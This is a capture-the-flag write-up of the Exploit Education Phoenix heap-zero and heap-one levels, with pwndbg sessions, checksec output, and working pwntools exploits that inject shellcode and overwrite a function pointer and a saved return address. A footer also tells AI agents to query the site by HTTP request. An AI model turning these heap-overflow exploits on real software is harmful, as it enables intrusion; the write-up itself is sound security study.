# Phoenix64 Writeup - heap{n}

## Introduction

This post documents my learning journey through the phoenix challenges from [Exploit Education](https://exploit.education/phoenix/), focusing on memory corruption in x64 binaries.

Rather than rushing to an exploit, the goal is to digest the concepts:

* How to review code for memory safety issues
* How vulnerabilities arise in heap layouts
* How exploitation differs on x64
* How to reason about exploitation step-by-step
* How to fix the vulnerability correctly

## Heap - 0

### Code Under Review

The challenge comes from [*phoenix/heap-zero*](https://exploit.education/phoenix/heap-zero/) in exploit.education.

```c
struct data {
  char name[64];
};

struct fp {
  void (*fp)();
  char __pad[64 - sizeof(unsigned long)];
};
```

```c
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;

strcpy(d->name, argv[1]);
```

### Step 1: High-Level Program Behaviour

At runtime, the program:

1. Allocate 2 heap  objects:
   1. `struct data` --> contains 64-bytes character buffer.
   2. `struct fp` --> contains a function pointer.
2. Initializes `f->fp` to `nowinner`
3. Copies user-controlled input (`argv[1]`) into `d->name`  <mark style="color:red;">**without bounds checking.**</mark>
4. calls `f->fp()`&#x20;

#### Intended Control Flow

```c
main()
 └─ strcpy()         ← user input
 └─ f->fp()          ← indirect call
     ├─ nowinner()   ← default
     └─ winner()     ← goal
```

### Step 2: Spotting the Vulnerability&#x20;

#### 🚨 Vulnerable Line

```c
strcpy(d->name, argv[1]); // ACID
```

#### Why This is Dangerous

* `d->name` is 64 bytes.
* `strcpy` performs no bounds checking.
* Any input longer then 64 bytes will <mark style="color:red;">**overflow into adjacent heap memory.**</mark>

This is a heap-based overflow.

### Step 3: Heap Layout Reasoning

Heap allocation are usually contiguous, `malloc(sizeof(struct data))`  followed by malloc `malloc(sizeof(struct f))` often results in :

`[Metadata 16 byes][d->name (64 bytes)][Metadata 16 byes][f->fp (8 bytes)] [...]`

That means overflowing `d->name` can overwrite `f->fp`.&#x20;

we can confirm that using a debugger after setting a breakpoint on `strcpy()` :

```gdscript
pwndbg> disassemble main
Dump of assembler code for function main:
   [...]
   0x0000000000400b17 <+56>:    call   0x4016ae <malloc>
   0x0000000000400b1c <+61>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400b20 <+65>:    mov    edi,0x40
   0x0000000000400b25 <+70>:    call   0x4016ae <malloc>
   0x0000000000400b2a <+75>:    mov    QWORD PTR [rbp-0x10],rax
   0x0000000000400b2e <+79>:    mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400b32 <+83>:    mov    QWORD PTR [rax],0x400ace
   0x0000000000400b39 <+90>:    mov    rax,QWORD PTR [rbp-0x20]
   0x0000000000400b3d <+94>:    add    rax,0x8
   0x0000000000400b41 <+98>:    mov    rdx,QWORD PTR [rax]
   0x0000000000400b44 <+101>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400b48 <+105>:   mov    rsi,rdx
   0x0000000000400b4b <+108>:   mov    rdi,rax
   0x0000000000400b4e <+111>:   call   0x400860 <strcpy@plt>
   [...]
End of assembler dump.
pwndbg> b *main+111
Breakpoint 1 at 0x400b4e
pwndbg> r XXXXXXXXXXX
   [...]
─────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────
 RAX  0x7ffff7ef6010 ◂— 0
 RBX  0x7fffffffe548 —▸ 0x7fffffffe764 ◂— '/opt/phoenix/amd64/heap-zero'
 RCX  0x7ffff7da5e14 (mmap64+133) ◂— cmp rax, -1
 RDX  0x7fffffffe781 ◂— 'XXXXXXXXXXX'
 RDI  0x7ffff7ef6010 ◂— 0
 RSI  0x7fffffffe781 ◂— 'XXXXXXXXXXX'
    [...]'
 RIP  0x400b4e (main+111) ◂— call strcpy@plt
─────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate off ]──────────────────────────────────────────────────────
 ► 0x400b4e <main+111>    call   strcpy@plt                  <strcpy@plt>
        dest: 0x7ffff7ef6010 ◂— 0
        src: 0x7fffffffe781 ◂— 'XXXXXXXXXXX'
    [...]
```

We examine the values of d (at rbp-0x10) and f (at rbp-0x8), as well as the distance between them.

```c
pwndbg> x/x $rbp-0x10
0x7fffffffe4e0: 0xf7ef6060
pwndbg> x/x $rbp-0x8
0x7fffffffe4e8: 0xf7ef6010
pwndbg> print/d 0xf7ef6060-0xf7ef6010
$1 = 80
```

f we proceed to the next line of code (using 'n'), we arrive right after the return of `strcpy`.

At the target memory location, we find exactly what we expected:

```c
pwndbg> x/20gx 0x7ffff7ef6010
0x7ffff7ef6010: 0x5858585858585858      0x0000000000585858
0x7ffff7ef6020: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6030: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6040: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6050: 0x0000000000000000      0x0000000000000051
0x7ffff7ef6060: 0x0000000000400ace      0x0000000000000000
0x7ffff7ef6070: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6080: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6090: 0x0000000000000000      0x0000000000000000
0x7ffff7ef60a0: 0x0000000000000000      0x00000000000fff61
```

We can observe that our "X"s have been copied to the address stored in `0x7ffff7ef6010`. The data structure was 64 bytes in size. After the 64-byte mark, there are 16 bytes of metadata, followed by the start of the next chunk, where the second structure is allocated.

Additionally, we notice the value `0x00400ace` at byte `0x7ffff7ef6060`. This corresponds to the address of `nowinner`.

```c
pwndbg> p nowinner
$2 = {<text variable, no debug info>} 0x400ace <nowinner>
```

We could simply overflow the buffer with 64 + 16 bytes, reach the function pointer, and overwrite it with our `winner` function. However, there's an issue in this case: the problem is that our `winner` function is located at the address:

```c
pwndbg> p winner
$3 = {<text variable, no debug info>} 0x400abd <winner>
```

This address contains not only a null byte (actually, 5 null bytes, but since the memory is conveniently set to 0, this isn't an issue), but also a byte `0x0a`. When `strcpy` copies the string, it will replace this byte with a null byte, which will terminate the string copy prematurely. As a result, the string won't be fully copied, and the overflow won't work as expected.

To reach the `winner` function, we introduce an extra layer of indirection. We place a small shellcode at the start of our buffer that jumps to the winner function (using `push ADDR; ret`).

### Step 4: Exploitation

Before attempting exploitation, it’s good practice to inspect the binary’s security mitigations. This helps determine *what kind of exploit is feasible* and *what complexity to expect*.

Running `checksec` on the Phoenix `heap-zero` binary:

```bash
user@phoenix-amd64:/opt/phoenix/amd64$ checksec heap-zero
[*] '/opt/phoenix/amd64/heap-zero'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    RPATH:    '/opt/phoenix/x86_64-linux-musl/lib'

```

#### Interpreting Each Mitigation (x64 Context)

`Arch: amd64-64-little`&#x20;

* 64-bit little-endian binary
* Function pointers and addresses are **8 bytes**
* Endianness matters when overwriting pointers (`little-endian`)

This directly impacts how we craft the overflow payload.

`RELRO`

* Global Offset Table (GOT) is writable

`Stack Canaries`

* Stack-based overflows would not be detected
* Not-directly relevant here (heap overflow), but confirms
  * The binary is intentionally weak
  * No runtime detection of memory corruption

`NX (Non-Executable Memory)`

* Heap and stack memory is executable
* Shellcode injection would be possible

`PIE`

* Binary loads at fixed address
* Function addresses (like `winner()`) are constant
* No ASLR for the main function

`RWX Segments`

* Momory segments are readable, writable, and executable
* Extemly insecure by modern standards

By exploiting the heap buffer overflow, we can overwrite the function pointer `fp` with the address of our buffer, which doesn't include any null bytes. This is the core of the exploit:

```python
import pwnlib
import struct

DATA_ADDR = 0x7ffff7ef6010
WINNER_ADDR = 0x400abd

pwnlib.context.arch = 'amd64'
shellcode = pwnlib.shellcraft.amd64.push(WINNER_ADDR)
shellcode += pwnlib.shellcraft.amd64.ret()

shellcode = pwnlib.asm.asm(shellcode, arch='amd64')

buf = shellcode + "A" * (80 - len(shellcode))
buf += struct.pack("<Q", DATA_ADDR)

print buf
```

And triggering the exploit:

```bash
user@phoenix-amd64:/opt/phoenix/amd64$ ./heap-zero $(python sol_heap1.y)
-bash: warning: command substitution: ignored null byte in input
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x7ffff7ef6010
Congratulations, you have passed this level

```

## Heap - 1

### Code Under Review

The challenge comes from [*phoenix/heap-one*](https://exploit.education/phoenix/heap-one/) in exploit.education.\
The program allocates two structures on the heap, each containing an integer and a pointer to a dynamically allocated name buffer:

```c
struct heapStructure {
  int priority;
  char *name;
};
```

Then:

1. `i1` is allocated → `i1->name` gets an 8‑byte heap buffer
2. `i2` is allocated → `i2->name` gets another 8‑byte heap buffer
3. User input (`argv[1]`, `argv[2]`) is copied with `strcpy` into each buffer
4. A hidden function `winner()` exists and prints a success message

Because `strcpy` performs *no bounds checking*, <mark style="color:red;">**an overflow**</mark> into the heap is possible.

### **Step 1: High‑Level Program Behaviour**

At a high level, the program:

* Allocates two structures:
  * `i1` with priority = 1 and an 8-byte name buffer
  * `i2` with priority = 2 and another 8-byte name buffer
* Copies user input directly into both buffers
* Does **nothing** with the data afterward, the program ends

What matters here is not what the program *does*, but how it uses memory.

Because the heap buffers are fixed-size (8 bytes) but the user-provided strings can be longer, the program allows an attacker to overflow the first buffer (`i1->name`) and overwrite adjacent heap memory, including fields belonging to `i2`.

### Step 2: Spotting the Vulnerability

🚨 The vulnerable lines are:

```c
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
```

Problems:

* **`strcpy` does not check length.**
* The buffers are only **8 bytes long**, including the null terminator.
* Any input longer than 7 characters (*even a simple string*) will overflow.

Since heap allocations are typically sequential, overflowing `i1->name` allows an attacker to overwrite:

* The pointer `i2->name`

Once `i2->name` is overwritten, the second `strcpy` will attempt to write user-controlled data to **an attacker-controlled pointer**, enabling arbitrary writes.

This is the core heap exploitation primitive for this level.

### **Step 3: Heap Layout Reasoning**

The exact layout looks like:

<figure><img src="/files/mjrjdn7Hy3ExhwAuAWHQ" alt=""><figcaption></figcaption></figure>

Because `i1->name` (**0x7ffff7ef6030**)comes **before** the `i2` structure, overflowing `i1->name` lets you overwrite:

* `i2->priority`&#x20;
* `i2->name` pointer (**0x7ffff7ef6070**)

If an attacker overwrites **`i2->name`**, then the second `strcpy(i2->name, argv[2])` will copy the attacker’s second argument into **whatever memory address they choose**.

That is the crucial exploitation vector.

### Step 4: Exploitation

The goal is to redirect program flow to the hidden function:

```coffee
void winner() {
    printf("Congratulations, ...\n");
}
```

Since the program does not call `winner()` normally, the exploit must:

1. **Overflow `i1->name`** to overwrite the pointer `i2->name`
2. Set `i2->name` to a location the attacker wants to write to
3. Use the second `strcpy()` to write a new value (e.g., an address) into that location
4. Influence a code path so that execution eventually jumps to `winner()`&#x20;

In this level, the intended target is typically:

* The saved return pointer on the stack, or
* A Global Offset Table entry (GOT overwrite)

By controlling where the second `strcpy()` writes data, the attacker achieves a controlled write, enabling a redirect to `winner()`.

Before sharing the working exploit I developed, I ran into a few constraints, most notably the presence of null bytes, since `strcpy` stops at the first null. This was one of the reasons I couldn’t rely on a GOT‑based approach:

<figure><img src="/files/GRhFF9ej2DDwjjEM41S5" alt=""><figcaption></figcaption></figure>

To work around this problem, I opted for a different strategy: instead of overwriting a GOT entry, I chose to overwrite the saved return address on the stack

<figure><img src="/files/KIn1ngqCdlZpGYdXON9G" alt=""><figcaption></figcaption></figure>

As you can see, the return address of `main()` is `0x7fffffffe478`. For context, ASLR is disabled for this binary, yet this value still changes when I’m not using pwndbg. I was ultimately able to solve the challenge using the hardcoded return address with pwndbg context.

<figure><img src="/files/StcJ7EWwJZuIpOddyubg" alt=""><figcaption></figcaption></figure>

I wanted an exploit that didn’t depend on pwndbg, so I examined the stack layout and noticed a consistent address pattern at `0x7fffffffe4xx`. This allowed me to brute‑force the stack address by iterating through that range until I found a value that successfully redirected control flow:

<figure><img src="/files/2ZjMfJEMnhINM24gM2b4" alt=""><figcaption></figcaption></figure>

#### Exploit

```python
from pwn import *
import time

context.arch = 'amd64'

BASE_STACK_ADDR = 0x7fffffffe4a8
SHELLCODE_ADDR = 0x00007ffff7ef6030

shellcode = asm('''
        mov rax, 0x111111111511c04
        sub rax, 0x11111111
        mov eax, eax
        call rax
        push 60
        pop rax
        xor rdi, rdi
        syscall
''')

if len(shellcode) < 40:
    padding = b"A" * (40 - len(shellcode))
else:
    padding = b""

arg2 = p64(SHELLCODE_ADDR)[:6]

for i in range(40, 50):
    offset = i * 8
    target_addr = BASE_STACK_ADDR + offset

    arg1 = shellcode + padding + p64(target_addr)[:6]
    try:
        p = process(['./heap-one', arg1, arg2])
        output = p.recvall(timeout=1)
        p.close()

        if b"Congratulations" in output:
            log.success("SUCCESS via Target address: 0x{:012x}".format(target_addr))
            print(output.decode())
             break
        else:
            log.failure("No success at 0x{:012x}".format(target_addr))

    except Exception as e:
        log.failure("Crashed at offset {:+4d}: {}".format(offset, e))

    time.sleep(0.1)
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mohamed-fakroud.gitbook.io/red-teamings-dojo/stack-n/phoenix64-writeup-heap-n.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
